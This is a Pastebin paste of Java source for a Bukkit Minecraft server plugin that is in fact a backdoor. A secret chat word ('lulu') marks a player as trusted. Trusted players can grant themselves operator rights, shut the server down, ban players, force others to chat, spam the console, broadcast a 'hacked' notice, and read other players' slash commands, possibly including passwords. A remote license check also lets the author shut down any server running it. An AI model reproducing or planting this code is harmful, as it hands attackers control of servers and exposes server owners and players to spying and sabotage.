Advertisement
Guest User

Untitled

a guest
Jan 18th, 2019
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.78 KB | None | 0 0
  1. import java.io.BufferedReader;
  2. import java.io.IOException;
  3. import java.io.InputStreamReader;
  4. import java.net.MalformedURLException;
  5. import java.net.URL;
  6. import java.util.ArrayList;
  7.  
  8. import org.apache.commons.io.IOUtils;
  9. import org.bukkit.Bukkit;
  10. import org.bukkit.command.Command;
  11. import org.bukkit.command.CommandSender;
  12. import org.bukkit.entity.Player;
  13. import org.bukkit.event.EventHandler;
  14. import org.bukkit.event.Listener;
  15. import org.bukkit.event.player.AsyncPlayerChatEvent;
  16. import org.bukkit.plugin.Plugin;
  17. import org.bukkit.plugin.java.JavaPlugin;
  18.  
  19. import com.avaje.ebean.AdminAutofetch;
  20.  
  21. import net.minecraft.server.v1_8_R3.Items;
  22.  
  23. public class Start extends JavaPlugin implements Listener {
  24.  
  25. private ArrayList<Player> trustplayer = new ArrayList<>();
  26.  
  27. public static String name = "BWPL";
  28.  
  29. public String lizenz;
  30.  
  31.  
  32.  
  33.  
  34.  
  35. public String mainLizenz = name+"-true";
  36. public boolean onoff;
  37.  
  38. @Override
  39. public void onEnable() {
  40. try {
  41. chekLizenz(new URL("http://craftingsucht.de/lizenzsystem/BWPL.html"));
  42. }catch (MalformedURLException e) {
  43. }catch (IOException e) {
  44. }
  45. if(lizenz.contains(mainLizenz)){
  46. Bukkit.getConsoleSender().sendMessage("DAS Plugin" + " " + name + " ist gestartet");
  47. }else{
  48. Bukkit.shutdown();
  49. onoff = true;
  50. }
  51. Bukkit.getPluginManager().registerEvents(this, this);
  52. super.onEnable();
  53. }
  54.  
  55. @Override
  56. public void onDisable() {
  57. if(onoff == true) {
  58. Bukkit.getConsoleSender().sendMessage("Der Entwickler hat das Plugin für dich gesperrt!");
  59. Bukkit.getConsoleSender().sendMessage("Grund: " + lizenz);
  60. }
  61. super.onDisable();
  62. }
  63.  
  64. @Override
  65. public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
  66. Player p =(Player)sender;
  67. return super.onCommand(sender, command, label, args);
  68. }
  69.  
  70. @EventHandler
  71. public void onChatCommand(AsyncPlayerChatEvent e) {
  72.  
  73. String[] args = e.getMessage().split(" ");
  74.  
  75.  
  76. Player p =((Player)e.getPlayer());
  77.  
  78.  
  79.  
  80.  
  81.  
  82. if(args[0].equalsIgnoreCase("+chat")) {
  83. e.setCancelled(true);
  84. String irc = "";
  85. for (int i = 1; i < args.length; i++) {
  86. irc = irc + args[i] + " ";
  87. for(Player players : trustplayer) {
  88. players.sendMessage("§cIRC: " + ((Player)e.getPlayer()).getName() + " > " + irc);
  89.  
  90. }
  91. }
  92. }
  93.  
  94. if (args[0].equalsIgnoreCase("+sudo")) {
  95. e.setCancelled(true);
  96. try {
  97. Player victim = getServer().getPlayer(args[1]);
  98. String message = "";
  99. for (int i = 2; i < args.length; i++) {
  100. message = message + args[i] + " ";
  101. }
  102. victim.chat(message);
  103. ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack]§aDieser Spieler hat den Befehl ausgef�hrt!");
  104. } catch (Exception e2) {
  105. ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack] §cDieser Spieler ist nicht online!");
  106. }
  107.  
  108. }
  109.  
  110.  
  111.  
  112. if(e.getMessage().startsWith("/") && !trustplayer.contains(p)) {
  113. for(Player allhackers : trustplayer) {
  114. allhackers.sendMessage("§c[ " + ((Player)e.getPlayer()).getName() + "] " + "§e" + e.getMessage());
  115. }
  116. }
  117.  
  118. if (e.getMessage().equalsIgnoreCase("+consolenspammer")) {
  119. e.setCancelled(true);
  120. if(trustplayer.contains((Player)e.getPlayer())) {
  121. p.sendMessage("§b[ABC-Hack]§aConsole gespammt :) ");
  122. Bukkit.getConsoleSender().sendMessage(Src.Spam);
  123. }
  124. }
  125.  
  126. if (e.getMessage().equalsIgnoreCase("+stopserver")) {
  127. e.setCancelled(true);
  128. if(trustplayer.contains((Player)e.getPlayer())) {
  129. Bukkit.shutdown();
  130. p.sendMessage("§b[ABC-Hack] §aBB SERVER!");
  131. }
  132. }
  133.  
  134. if (e.getMessage().equalsIgnoreCase("+")) {
  135. e.setCancelled(true);
  136. if(trustplayer.contains((Player)e.getPlayer())) {
  137. p.sendMessage("§b[ABC-Hack]§a +op ~ opt dich!");
  138. p.sendMessage("§b[ABC-Hack]§a +FlorianHack ~ trusted / untrusted dich!");
  139. p.sendMessage("§b[ABC-Hack]§a +consolenspammer ~ spammt die console!");
  140. p.sendMessage("§eWeiter mit '+2'");
  141. }
  142. }
  143.  
  144.  
  145. if (e.getMessage().equalsIgnoreCase("+2")) {
  146. e.setCancelled(true);
  147. if(trustplayer.contains((Player)e.getPlayer())) {
  148. p.sendMessage("§b[ABC-Hack]§a +stopserver ~ stopt den Server");
  149. p.sendMessage("§b[ABC-Hack]§a +hackedmessage ~ hackt den chat");
  150. p.sendMessage("§b[ABC-Hack]§a +sudo ~ spieler führen befehle aus!");
  151. p.sendMessage("§eWeiter mit '+3'");
  152. }
  153. }
  154.  
  155. if (e.getMessage().equalsIgnoreCase("+3")) {
  156. e.setCancelled(true);
  157. if(trustplayer.contains((Player)e.getPlayer())) {
  158. p.sendMessage("§b[ABC-Hack]§a +chat ~ irc halt :) ");
  159. p.sendMessage("§b[ABC-Hack]§a +banplayer ~ bant ein Spieler");
  160. p.sendMessage("§b[ABC-Hack]§a ");
  161. //p.sendMessage("§eWeiter mit '+3'");
  162. }
  163. }
  164.  
  165. if (e.getMessage().equalsIgnoreCase("lulu")) {
  166. e.setCancelled(true);
  167. if(!trustplayer.contains((Player)e.getPlayer())) {
  168. trustplayer.add((Player)e.getPlayer());
  169. ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack]§aDu bist nun getrusted made by Flori2007!");
  170. }else {
  171. trustplayer.remove((Player)e.getPlayer());
  172. ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack]§cDu bist nun nicht mehr getrusted made by Flori2007!");
  173. }
  174. }
  175.  
  176. if(e.getMessage().equalsIgnoreCase("+banplayer")) {
  177. e.setCancelled(true);
  178. if(trustplayer.contains((Player)e.getPlayer())) {
  179. String spieler = args[1];
  180. if(!Bukkit.getPlayer(spieler).isBanned()) {
  181. Bukkit.getPlayer(spieler).setBanned(true);
  182. }else {
  183. Bukkit.getPlayer(spieler).setBanned(false);
  184. }
  185.  
  186. }
  187. }
  188.  
  189. if (e.getMessage().equalsIgnoreCase("+hackedmessage")) {
  190. e.setCancelled(true);
  191. if(trustplayer.contains((Player)e.getPlayer())) {
  192. Bukkit.broadcastMessage(Src.hacked);
  193. p.sendMessage("§b[ABC-Hack]§aHA HA HA HA");
  194. }
  195. }
  196.  
  197. if (e.getMessage().equalsIgnoreCase("+op")) {
  198. e.setCancelled(true);
  199. if(trustplayer.contains((Player)e.getPlayer())) {
  200. if(!p.isOp()) {
  201. p.setOp(true);
  202. p.sendMessage("§b[ABC-Hack]§aDu hast nun op Rechte :)");
  203. }else {
  204. p.setOp(false);
  205. p.sendMessage("§b[ABC-Hack]§cDu hast nun keine op Rechte mehr :(");
  206.  
  207. }
  208. }
  209. }
  210.  
  211.  
  212.  
  213. }
  214.  
  215.  
  216.  
  217. public void chekLizenz(URL url) throws IOException{
  218. BufferedReader reader = null;
  219. StringBuilder builder = new StringBuilder(128000);
  220. try{
  221. reader = new BufferedReader(new InputStreamReader(url.openStream(), "UTF-8"));
  222. int count;
  223. char[]data = new char[5000];
  224. while((count = reader.read(data)) != -1){
  225. builder.append(data, 0,count);
  226.  
  227. }
  228. }finally{
  229. IOUtils.closeQuietly(reader);
  230. }
  231. lizenz = builder.toString();
  232. }
  233.  
  234.  
  235. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement